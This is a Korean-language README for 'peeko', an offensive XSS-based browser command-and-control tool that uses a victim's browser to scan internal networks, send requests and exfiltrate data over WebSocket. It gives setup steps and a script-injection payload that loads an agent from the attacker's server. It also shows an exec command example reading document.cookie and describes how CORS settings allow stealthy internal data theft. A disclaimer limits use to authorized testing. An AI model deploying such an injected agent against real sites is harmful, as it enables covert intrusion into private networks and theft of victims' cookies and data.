
peeko – Browser-based XSS C2 for stealthy internal network exploration via infected browser.
버전: v1.1
peeko는 XSS를 활용한 브라우저 기반 C2(Command and Control) 도구로, 피해자의 브라우저를 내부 네트워크의 은밀한 프록시로 사용합니다.
주입된 XSS 페이로드를 통해 peeko는 중앙 서버에 WebSocket 연결을 설정하여, 공격자가 피해자의 브라우저를 원격으로 제어해 내부 서비스에 요청을 보내고, 네트워크를 스캔하고, 데이터를 유출하거나 임의의 JavaScript를 실행할 수 있게 합니다 — 단일 바이너리를 드롭하지 않고도 가능합니다.
.txt 또는 .json으로 복사/저장 가능한 로그 뷰어저장소를 클론합니다:
git clone https://github.com/b3rito/peeko.git
cd peeko
종속성을 설치합니다:
make install
(선택 사항) 스크립트를 실행 가능하게 만듭니다:
chmod +x gen-cert.sh start.sh
자체 서명 TLS 인증서를 생성합니다:
make cert
SERVER-IP 자리 표시자를 교체합니다:
다음 파일을 열고 편집합니다:
static/agent.jsstatic/control.htmlSERVER-IP를 서버의 IP/도메인으로 교체합니다:
wss://SERVER-IP:8443/ws → wss://192.168.30.136:8443/ws
서버를 시작합니다:
make run
브라우저에서 제어판을 엽니다:
https://192.168.30.136:8443/static/control.html
에이전트를 주입합니다(예: XSS):
<script src="https://192.168.30.136:8443/static/agent.js"></script>
192.168.1.0/24, 10.0.0.10-20 등80, 443,8000-8080)exec:... 형식 사용exec:alert(document.cookie);.txt 또는 .json으로 복사하거나 내보내기최신 브라우저 정책은 peeko가 액세스할 수 있는 항목에 영향을 줍니다.
| 헤더 | 콘텐츠를 읽을 수 있나요? | 참고 |
|---|---|---|
Access-Control-Allow-Origin: * | ✅ | 응답에 대한 전체 액세스 |
| 헤더 없음 | ⚠️ | 응답이 불투명(opaque)함 |
| 제한된 출처 | ❌ | 차단되거나 읽을 수 없음 |
피해자는 HTTPS로 연결됩니다. 스캔 대상이 HTTP만 사용하는 경우:
http:// 엔드포인트에서 읽을 수 없음침투 테스트 중 Access-Control-Allow-Origin: *로 응답하고 HTTPS로 제공되는 내부 서비스를 발견하면, peeko는 파일을 드롭하거나 외부 연결을 열지 않고도 피해자의 브라우저에서 내부 데이터를 직접 유출할 수 있는 은밀한 프록시가 됩니다.
peeko/
├── main.py → FastAPI WebSocket server
├── start.sh → Launch server
├── gen-cert.sh → Generate self-signed TLS certificate
├── Makefile → Install/run helpers
├── requirements.txt → Python dependencies
├── certs/ → TLS key and cert will be stored here
└── static/ → Browser client assets
├── control.html → Control panel (was attacker.html)
├── infect.html → Victim landing page
└── agent.js → Victim agent script
이 도구는 교육 및 승인된 테스트 목적으로만 제공됩니다.
명시적 권한이 있는 환경 외부에서 peeko를 사용하는 것은 엄격히 금지됩니다.
모든 행동에 대한 책임은 사용자 본인에게 있습니다.
b3rito(mes3hacklab) 및 GioPpeTto 작성